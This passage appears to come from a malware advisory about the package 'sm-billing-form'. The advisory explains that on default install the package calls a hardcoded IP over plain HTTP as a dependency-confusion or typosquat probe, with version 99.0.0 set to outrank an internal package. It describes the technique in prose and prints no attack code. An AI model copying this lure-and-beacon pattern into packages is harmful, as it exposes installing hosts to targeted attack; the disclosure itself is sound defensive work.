The requests target a hardcoded bare-IP endpoint over cleartext HTTP with no relationship to any documented publisher, and fire automatically as part of the default install. The pattern is a dependency-confusion / typosquat probe: the callback confirms to the operator of 16.192.173.5 which environments resolved the public `sm-billing-form` name and installed it, disclosing source IP and install timing and enabling targeted follow-on attacks against those hosts. The version number (99.0.0) is consistent with a dependency-confusion lure intended to outrank an internal package of the same name.\n\n## Source: ghsa-malware (05532377799ac53b2d8c7d981cf5c4714e656a575a24ff5fe28255b6b72a211e)\nAny computer that has this package installed or running should be considered fully compromised.
